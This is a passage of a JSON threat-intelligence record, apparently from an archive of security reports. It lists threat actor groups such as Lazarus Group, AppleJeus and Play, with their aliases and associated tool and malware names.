				"Labyrinth Chollima ",
				"Lazarus Group ",
				"NNPT Group",
				"New Romanic Cyber Army Team",
				"Temp.Hermit ",
				"UNC577 ",
				"Who Am I?",
				"Whois Team",
				"ZINC "
			],
			"source_name": "Secureworks:NICKEL ACADEMY",
			"tools": [
				"Destover",
				"KorHigh",
				"Volgmer"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "544ecd2c-82c9-417c-9d98-d1ae395df964",
			"created_at": "2025-10-29T02:00:52.035025Z",
			"updated_at": "2026-04-10T02:00:05.408558Z",
			"deleted_at": null,
			"main_name": "AppleJeus",
			"aliases": [
				"AppleJeus",
				"Gleaming Pisces",
				"Citrine Sleet",
				"UNC1720",
				"UNC4736"
			],
			"source_name": "MITRE:AppleJeus",
			"tools": null,
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "732597b1-40a8-474c-88cc-eb8a421c29f1",
			"created_at": "2025-08-07T02:03:25.087732Z",
			"updated_at": "2026-04-10T02:00:03.776007Z",
			"deleted_at": null,
			"main_name": "NICKEL GLADSTONE",
			"aliases": [
				"APT38 ",
				"ATK 117 ",
				"Alluring Pisces ",
				"Black Alicanto ",
				"Bluenoroff ",
				"CTG-6459 ",
				"Citrine Sleet ",
				"HIDDEN COBRA ",
				"Lazarus Group",
				"Sapphire Sleet ",
				"Selective Pisces ",
				"Stardust Chollima ",
				"T-APT-15 ",
				"TA444 ",
				"TAG-71 "
			],
			"source_name": "Secureworks:NICKEL GLADSTONE",
			"tools": [
				"AlphaNC",
				"Bankshot",
				"CCGC_Proxy",
				"Ratankba",
				"RustBucket",
				"SUGARLOADER",
				"SwiftLoader",
				"Wcry"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "a2b92056-9378-4749-926b-7e10c4500dac",
			"created_at": "2023-01-06T13:46:38.430595Z",
			"updated_at": "2026-04-10T02:00:02.971571Z",
			"deleted_at": null,
			"main_name": "Lazarus Group",
			"aliases": [
				"Operation DarkSeoul",
				"Bureau 121",
				"Group 77",
				"APT38",
				"NICKEL GLADSTONE",
				"G0082",
				"COPERNICIUM",
				"Moonstone Sleet",
				"Operation GhostSecret",
				"APT 38",
				"Appleworm",
				"Unit 121",
				"ATK3",
				"G0032",
				"ATK117",
				"NewRomanic Cyber Army Team",
				"Nickel Academy",
				"Sapphire Sleet",
				"Lazarus group",
				"Hastati Group",
				"Subgroup: Bluenoroff",
				"Operation Troy",
				"Black Artemis",
				"Dark Seoul",
				"Andariel",
				"Labyrinth Chollima",
				"Operation AppleJeus",
				"COVELLITE",
				"Citrine Sleet",
				"DEV-0139",
				"DEV-1222",
				"Hidden Cobra",
				"Bluenoroff",
				"Stardust Chollima",
				"Whois Hacking Team",
				"Diamond Sleet",
				"TA404",
				"BeagleBoyz",
				"APT-C-26"
			],
			"source_name": "MISPGALAXY:Lazarus Group",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "32a223a8-3c79-4146-87c5-8557d38662ae",
			"created_at": "2022-10-25T15:50:23.703698Z",
			"updated_at": "2026-04-10T02:00:05.261989Z",
			"deleted_at": null,
			"main_name": "Lazarus Group",
			"aliases": [
				"Lazarus Group",
				"Labyrinth Chollima",
				"HIDDEN COBRA",
				"Guardians of Peace",
				"NICKEL ACADEMY",
				"Diamond Sleet"
			],
			"source_name": "MITRE:Lazarus Group",
			"tools": [
				"RawDisk",
				"Proxysvc",
				"BADCALL",
				"FALLCHILL",
				"WannaCry",
				"MagicRAT",
				"HOPLIGHT",
				"TYPEFRAME",
				"Dtrack",
				"HotCroissant",
				"HARDRAIN",
				"Dacls",
				"KEYMARBLE",
				"TAINTEDSCRIBE",
				"AuditCred",
				"netsh",
				"ECCENTRICBANDWAGON",
				"AppleJeus",
				"BLINDINGCAN",
				"ThreatNeedle",
				"Volgmer",
				"Cryptoistic",
				"RATANKBA",
				"Bankshot"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "f32df445-9fb4-4234-99e0-3561f6498e4e",
			"created_at": "2022-10-25T16:07:23.756373Z",
			"updated_at": "2026-04-10T02:00:04.739611Z",
			"deleted_at": null,
			"main_name": "Lazarus Group",
			"aliases": [
				"APT-C-26",
				"ATK 3",
				"Appleworm",
				"Citrine Sleet",
				"DEV-0139",
				"Diamond Sleet",
				"G0032",
				"Gleaming Pisces",
				"Gods Apostles",
				"Gods Disciples",
				"Group 77",
				"Guardians of Peace",
				"Hastati Group",
				"Hidden Cobra",
				"ITG03",
				"Jade Sleet",
				"Labyrinth Chollima",
				"Lazarus Group",
				"NewRomanic Cyber Army Team",
				"Operation 99",
				"Operation AppleJeus",
				"Operation AppleJeus sequel",
				"Operation Blockbuster: Breach of Sony Pictures Entertainment",
				"Operation CryptoCore",
				"Operation Dream Job",
				"Operation Dream Magic",
				"Operation Flame",
				"Operation GhostSecret",
				"Operation In(ter)caption",
				"Operation LolZarus",
				"Operation Marstech Mayhem",
				"Operation No Pineapple!",
				"Operation North Star",
				"Operation Phantom Circuit",
				"Operation Sharpshooter",
				"Operation SyncHole",
				"Operation Ten Days of Rain / DarkSeoul",
				"Operation Troy",
				"SectorA01",
				"Slow Pisces",
				"TA404",
				"TraderTraitor",
				"UNC2970",
				"UNC4034",
				"UNC4736",
				"UNC4899",
				"UNC577",
				"Whois Hacking Team"
			],
			"source_name": "ETDA:Lazarus Group",
			"tools": [
				"3CX Backdoor",
				"3Rat Client",
				"3proxy",
				"AIRDRY",
				"ARTFULPIE",
				"ATMDtrack",
				"AlphaNC",
				"Alreay",
				"Andaratm",
				"AngryRebel",
				"AppleJeus",
				"Aryan",
				"AuditCred",
				"BADCALL",
				"BISTROMATH",
				"BLINDINGCAN",
				"BTC Changer",
				"BUFFETLINE",
				"BanSwift",
				"Bankshot",
				"Bitrep",
				"Bitsran",
				"BlindToad",
				"Bookcode",
				"BootWreck",
				"BottomLoader",
				"Brambul",
				"BravoNC",
				"Breut",
				"COLDCAT",
				"COPPERHEDGE",
				"CROWDEDFLOUNDER",
				"Castov",
				"CheeseTray",
				"CleanToad",
				"ClientTraficForwarder",
				"CollectionRAT",
				"Concealment Troy",
				"Contopee",
				"CookieTime",
				"Cyruslish",
				"DAVESHELL",
				"DBLL Dropper",
				"DLRAT",
				"DRATzarus",
				"DRATzarus RAT",
				"Dacls",
				"Dacls RAT",
				"DarkComet",
				"DarkKomet",
				"DeltaCharlie",
				"DeltaNC",
				"Dembr",
				"Destover",
				"DoublePulsar",
				"Dozer",
				"Dtrack",
				"Duuzer",
				"DyePack",
				"ECCENTRICBANDWAGON",
				"ELECTRICFISH",
				"Escad",
				"EternalBlue",
				"FALLCHILL",
				"FYNLOS",
				"FallChill RAT",
				"Farfli",
				"Fimlis",
				"FoggyBrass",
				"FudModule",
				"Fynloski",
				"Gh0st RAT",
				"Ghost RAT",
				"Gopuram",
				"HARDRAIN",
				"HIDDEN COBRA RAT/Worm",
				"HLOADER",
				"HOOKSHOT",
				"HOPLIGHT",
				"HOTCROISSANT",
				"HOTWAX",
				"HTTP Troy",
				"Hawup",
				"Hawup RAT",
				"Hermes",
				"HotCroissant",
				"HotelAlfa",
				"Hotwax",
				"HtDnDownLoader",
				"Http Dr0pper",
				"ICONICSTEALER",
				"Joanap",
				"Jokra",
				"KANDYKORN",
				"KEYMARBLE",
				"Kaos",
				"KillDisk",
				"KillMBR",
				"Koredos",
				"Krademok",
				"LIGHTSHIFT",
				"LIGHTSHOW",
				"LOLBAS",
				"LOLBins",
				"Lazarus",
				"LightlessCan",
				"Living off the Land",
				"MATA",
				"MBRkiller",
				"MagicRAT",
				"Manuscrypt",
				"Mimail",
				"Mimikatz",
				"Moudour",
				"Mydoom",
				"Mydoor",
				"Mytob",
				"NACHOCHEESE",
				"NachoCheese",
				"NestEgg",
				"NickelLoader",
				"NineRAT",
				"Novarg",
				"NukeSped",
				"OpBlockBuster",
				"PCRat",
				"PEBBLEDASH",
				"PLANKWALK",
				"POOLRAT",
				"PSLogger",
				"PhanDoor",
				"Plink",
				"PondRAT",
				"PowerBrace",
				"PowerRatankba",
				"PowerShell RAT",
				"PowerSpritz",
				"PowerTask",
				"Preft",
				"ProcDump",
				"Proxysvc",
				"PuTTY Link",
				"QUICKRIDE",
				"QUICKRIDE.POWER",
				"Quickcafe",
				"QuiteRAT",
				"R-C1",
				"ROptimizer",
				"Ratabanka",
				"RatabankaPOS",
				"Ratankba",
				"RatankbaPOS",
				"RawDisk",
				"RedShawl",
				"Rifdoor",
				"Rising Sun",
				"Romeo-CoreOne",
				"RomeoAlfa",
				"RomeoBravo",
				"RomeoCharlie",
				"RomeoCore",
				"RomeoDelta",
				"RomeoEcho",
				"RomeoFoxtrot",
				"RomeoGolf",
				"RomeoHotel",
				"RomeoMike",
				"RomeoNovember",
				"RomeoWhiskey",
				"Romeos",
				"RustBucket",
				"SHADYCAT",
				"SHARPKNOT",
				"SIGFLIP",
				"SIMPLESEA",
				"SLICKSHOES",
				"SORRYBRUTE",
				"SUDDENICON",
				"SUGARLOADER",
				"SheepRAT",
				"SierraAlfa",
				"SierraBravo",
				"SierraCharlie",
				"SierraJuliett-MikeOne",
				"SierraJuliett-MikeTwo",
				"SimpleTea",
				"SimplexTea",
				"SmallTiger",
				"Stunnel",
				"TAINTEDSCRIBE",
				"TAXHAUL",
				"TFlower",
				"TOUCHKEY",
				"TOUCHMOVE",
				"TOUCHSHIFT",
				"TOUCHSHOT",
				"TWOPENCE",
				"TYPEFRAME",
				"Tdrop",
				"Tdrop2",
				"ThreatNeedle",
				"Tiger RAT",
				"TigerRAT",
				"Trojan Manuscript",
				"Troy",
				"TroyRAT",
				"VEILEDSIGNAL",
				"VHD",
				"VHD Ransomware",
				"VIVACIOUSGIFT",
				"VSingle",
				"ValeforBeta",
				"Volgmer",
				"Vyveva",
				"W1_RAT",
				"Wana Decrypt0r",
				"WanaCry",
				"WanaCrypt",
				"WanaCrypt0r",
				"WannaCry",
				"WannaCrypt",
				"WannaCryptor",
				"WbBot",
				"Wcry",
				"Win32/KillDisk.NBB",
				"Win32/KillDisk.NBC",
				"Win32/KillDisk.NBD",
				"Win32/KillDisk.NBH",
				"Win32/KillDisk.NBI",
				"WinorDLL64",
				"Winsec",
				"WolfRAT",
				"Wormhole",
				"YamaBot",
				"Yort",
				"ZetaNile",
				"concealment_troy",
				"http_troy",
				"httpdr0pper",
				"httpdropper",
				"klovbot",
				"sRDI"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434242,
	"ts_updated_at": 1775792299,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/d1f21c649ae6c18beabaffa5a66bd073cd7d079c.pdf",
		"text": "https://archive.orkl.eu/d1f21c649ae6c18beabaffa5a66bd073cd7d079c.txt",
		"img": "https://archive.orkl.eu/d1f21c649ae6c18beabaffa5a66bd073cd7d079c.jpg"
	}
}